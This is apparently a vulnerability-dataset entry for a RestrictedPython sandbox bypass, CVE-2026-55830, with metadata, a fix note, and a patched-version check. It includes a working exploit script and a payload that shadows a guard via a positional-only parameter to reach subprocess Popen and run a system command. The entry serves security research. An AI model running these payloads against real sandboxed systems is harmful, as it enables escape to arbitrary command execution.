CVE-2026-55830
RestrictedPython policy bypass via positional-only argument name shadowing.
- CVSS 8.3
- CWE-184
- Input Validation and Sanitization
- Remote
RestrictedPython is a tool that helps to define a subset of the Python language which allows to provide a program input into a trusted environment. Prior to 8.3, check_function_argument_names() rejected protected guard hook names for regular, variadic, and keyword-only arguments but omitted positional-only arguments, allowing __getattr__, _getitem_, _write_, or _print_ to be shadowed by a local parameter and bypass the embedding application's access policy. This issue is fixed in version 8.3.
- CWE
- CWE-184
- CVSS base score
- 8.3
- Published
- 2026-07-08
- OWASP
- A01 Broken Access Control
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Input Validation and Sanitization
- Subcategory
- Poorly Designed Access Controls
- Accessibility scope
- Remote
- Impact
- Privilege Escalation
- Affected component
- RestrictedPy
- Fixed by upgrading
- Yes
Solution
Upgrade RestrictedPython to version 8.3 or later.
Vulnerable code sample
# This code requires a vulnerable version of RestrictedPython (< 8.3)
# and Python 3.8+ (for positional-only argument syntax).
#
# In a vulnerable environment, this script will successfully print "pwned".
# In a patched environment (>= 8.3), it will raise a SyntaxError
# at the `compile_restricted` step, because the argument `_getitem_` is forbidden.
#
from RestrictedPython import compile_restricted, safe_globals
# A security policy that attempts to block access to dictionary keys named 'secret'.
def secure_getitem_guard(obj, key):
if key == 'secret':
raise PermissionError("Access to 'secret' keys is denied by policy.")
return obj[key]
# Malicious code to be executed in the restricted environment.
# It defines a function with a positional-only argument (`/`) named `_getitem_`.
# This was the specific argument type that was not checked in vulnerable versions.
exploit_code = """
def get_secret_data(_getitem_, /):
# Inside this function, `_getitem_` refers to the local function parameter,
# "shadowing" the global security guard.
# As a result, the dictionary access below is not intercepted by the guard.
data = {'public': 'info', 'secret': 'pwned'}
return data['secret']
# Call the malicious function to trigger the bypass.
# `None` is just a placeholder value for the now-irrelevant `_getitem_` parameter.
result = get_secret_data(None)
"""
# Set up the restricted environment, providing our guard.
restricted_globals = safe_globals.copy()
restricted_globals['_getitem_'] = secure_getitem_guard
# Create a dictionary to hold the results of the execution.
restricted_locals = {}
# Compile and execute the malicious code.
# This will succeed on vulnerable versions of RestrictedPython.
byte_code = compile_restricted(exploit_code, filename='<string>', mode='exec')
exec(byte_code, restricted_globals, restricted_locals)
# Print the data that was illegally accessed.
print(restricted_locals['result'])Patched code sample
import sys
from RestrictedPython import compile_restricted
# This code demonstrates the behavior of a patched (>=8.3) RestrictedPython.
# The vulnerability was that positional-only arguments with protected names
# were not being checked. The fix ensures they are checked and rejected.
# The exploit pattern: using a protected name like '_getitem_' as a
# positional-only argument. In Python, this is done using the '/' syntax.
vulnerable_code = """
def my_function(_getitem_, /):
# In a vulnerable version, this function would compile,
# allowing the '_getitem_' guard to be bypassed.
pass
"""
print(f"Using RestrictedPython version: {sys.modules['RestrictedPython'].__version__}")
print("-" * 20)
print("Attempting to compile code with a protected positional-only argument...")
try:
# In a fixed version of RestrictedPython, this compilation must fail
# with a SyntaxError because '_getitem_' is a protected name.
compile_restricted(
vulnerable_code,
filename='<string>',
mode='exec'
)
# If this line is reached, the version is likely vulnerable.
print("\n[!] RESULT: VULNERABLE")
print("Code compiled successfully, indicating the check was bypassed.")
except SyntaxError as e:
# This is the expected and correct behavior for a patched version.
print("\n[*] RESULT: FIXED")
print("Code compilation correctly failed with a SyntaxError.")
print(f"Error message: {e}")
except Exception as e:
print(f"\n[!] An unexpected error occurred: {e}")Payload
def pwn(_getattr_, /):
return [
c for c in ().__class__.__base__.__subclasses__()
if c.__name__ == "Popen"
][0](["id"], stdout=-1).communicate()
pwn(None)
Cite this entry
@misc{vaitp:cve202655830,
title = {{RestrictedPython policy bypass via positional-only argument name shadowing.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-55830},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-55830/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
